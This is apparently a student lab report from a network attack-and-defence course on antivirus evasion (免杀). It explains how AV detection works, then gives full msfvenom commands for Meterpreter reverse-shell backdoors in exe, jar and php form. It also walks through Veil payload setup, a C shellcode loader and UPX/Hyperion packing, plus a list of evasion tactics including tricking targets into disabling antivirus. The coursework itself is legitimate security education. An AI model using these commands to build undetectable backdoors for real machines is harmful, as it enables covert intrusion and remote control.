- 一、学习目标
- 二、基础知识
- 1.1 恶意软件检测机制
- 1.1.1 基于特征码的检测
- 1.1.2 启发式恶意软件检测
- 1.1.3 基于行为的恶意软件检测
- 1.1 恶意软件检测机制
- 三、实验步骤
- 1、使用msf编码器msfvenom生成后门程序
- (1)正确使用msf编码器
- (2)msfvenom生成如jar之类的其他文件
- (2)mfsvenom生成php文件
- (3)veil
- (4)用shellcode编程生成后门程序
- (5)加壳
- 加密壳(Hyperion)
- (6)使用其他课堂未介绍方法
- 2、通过组合应用各种技术实现恶意代码免杀
- 3、用另一台电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 1、使用msf编码器msfvenom生成后门程序
- 三、实验中的问题
- 四、基础问题回答和实验体会
- 实验体会
- 五、参考资料
一、学习目标 |
(1)正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)
(2)通过组合应用各种技术实现恶意代码免杀(0.5分)(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)
二、基础知识 |
1.1 恶意软件检测机制
1.1.1 基于特征码的检测
简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
1.1.2 启发式恶意软件检测
启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
优点:
以检测0-day恶意软件
具有一定通用性
缺点:
实时监控系统行为,开销稍多
没有基于特征码的精确度高
1.1.3 基于行为的恶意软件检测
最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,
所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
1.2 免杀技术(Evading AV)综述
总体技术有:
-
改变特征码
-
如果你手里只有EXE
-
加壳:压缩壳 加密壳
-
有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
-
有源代码
- 用其他语言进行重写再编译(veil-evasion)
-
改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
-
非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
-
留后门的思路是这样的:
- 你写一个有漏洞的软件,开一个服务端口。这个软件本身没问题。然后如果这个端口被攻击,就可以获得系统控制权。
- 通过meterpreter这种驻留内存的payload,AV软件很难检出。
- 这样的小漏洞程序大家也有做,自己攻击自己还是很容易的。
-
当然最好的方法,还是手工打造,自己从头编一个,没有通用工具的特征,AV软件也就杀不出来了。
- 从头打造当然是相当有难度的,但我们可以利用Metasploit已有的payload来半手工的打造,效果也不错
三、实验步骤 |
1、使用msf编码器msfvenom生成后门程序
(1)正确使用msf编码器
-
使用实验二生成的后门程序,放在VirusTotal上进行扫描,结果如下:
-
将编码一次生成的后门程序进行扫描,一次编码:-e选择编码器,-b是payload中需要清除的字符,该命令中为了使\x00'不出现在shellcode中,因为shellcode以\x00'为结束符。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.61.128 LPORT=5327 -f exe > encoded1.exe
结果如下: -
将编码十次生成的后门程序进行扫描,结果如下:
-
可见多次编码对于免杀没有太大的帮助,主要有两点原因:
- shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只要找到了这一部分,就能查出这是恶意代码。
- msfvenom总以固定的模版来生成exe文件。它所有生成的exe文件,如果使用默认参数或者模版,也有一定的固定特征,所以一般来说AV厂商会针对msf使用的模板生成特征码侦测,这样就能解决所有msfvenom生成的恶意代码了。
(2)msfvenom生成如jar之类的其他文件
- 生成java后门程序:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.61.128 LPORT=5327 x> dwt_backdoor_java.jar
(2)mfsvenom生成php文件
- 生成PHP后门程序使用命令
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.61.128 LPORT=5327 x> dwt_backdoor.php
(3)veil
我们首先使用sudo apt-get update命令和sudo apt-get upgrade
命令进行更新
用sudo apt-get install veil
命令安装Veil
之后使用veil命令打开Veil,输入s继续安装直到完成(s为默认安装)
-
输入use c/meterpreter/rev_tcp.py进入配置界面
-
设置反弹连接IPset LHOST 192.168.61.128
-
设置端口set LPORT 5327
-
查看配置options
(4)用shellcode编程生成后门程序
用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.61.128 LPORT=5327 -f c
生成一段shellcode
然后我们用vim命令创建一个文件20175327.c,然后将unsigned char buf[]赋值到其中,内容如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
此处省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}
输入i686-w64-mingw32-g++ 20175327.c -o 20175327.exe
,将此文件编译为可执行文件。
(5)加壳
给之前的20175327.exe加个壳得到20175327_upx.exe:
加密壳(Hyperion)
- 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
- 进入目录/usr/share/windows-binaries/hyperion/中
- 输入命令wine hyperion.exe -v 20175327_upx.exe 20175327_upx_Hyperion.exe进行加壳:
(6)使用其他课堂未介绍方法
输入use python/meterpreter/rev_tcp.py
进入配置页面,可以看到现在options还是默认值,因此我们需要设置某些options。
输入set LHOST 192.168.255.129和set LPORT 5327,分别设置反弹连接的IP地址和端口号。可以输入options查看设置后的结果
生成文件时,系统会问如何创建负载可执行文件?,我选的是2 Py2Exe,然后就能看到文件的存放目录了
2、通过组合应用各种技术实现恶意代码免杀
在上文中可以看到veil生成后门文件,使用Python语言就是能实现免杀功能。
在刚刚的文件的基础上加压缩壳和加密壳,来实现免杀。
- 详细方法见上文
3、用另一台电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
电脑环境:Windows7
杀毒软件:360安全卫士
杀软版本:12.1.0.1004
查杀时间:2020.03.29
三、实验中的问题 |
2、veil安装过程的问题
经常会有下载不成功,先睡一觉,醒来下载网速突然飞奔
四、基础问题回答和实验体会 |
-
1、杀软是如何检测出恶意代码的?
-
基于特征码的检测:简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
-
启发式恶意软件检测:启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
-
优点:
可以检测0-day恶意软件
具有一定通用性 -
缺点:
实时监控系统行为,开销稍多
没有基于特征码的精确度高 -
基于行为的恶意软件检测:最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
-
2、免杀是做什么?
使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。 -
3、免杀的基本方法有哪些?
-
(1)改变特征码
如果你手里只有EXE—— 加壳:压缩壳 加密壳
有shellcode(像Meterpreter)—— 用encode进行编码;基于payload重新编译生成可执行文件
有源代码—— 用其他语言进行重写再编译(veil-evasion) -
(2)改变行为
通讯方式:尽量使用反弹式连接;使用隧道技术;加密通讯数据
操作模式:基于内存操作;减少对系统的修改;加入混淆作用的正常功能代码 -
(3)非常规方法
使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
使用社工类攻击,诱骗目标关闭AV软件。
纯手工打造一个恶意软件 -
4、开启杀软能绝对防止电脑中恶意代码吗?
回答:不能。因为杀软在更新病毒库,恶意代码虽然可以不断用新的方式获得免杀,但是只要杀软记录到某个进程执行操作的异常情况,就可以立即记录相关信息,更新病毒库。
实验体会
本次实验中所遇大问题就是veil的安全,克隆的速度极慢,而且总是挂断,但是早上速度就很快,没十几分钟就下好了,当然也可以选择用流量会快一点,我认为我对免杀处理的理解不到位,应该多学习,反复琢磨实验中的步骤和问题。
五、参考资料 |
2019-2020-2 20175215丁文韬《网络对抗技术》Exp3 免杀原理与实践
kali201703安装Veil Evasion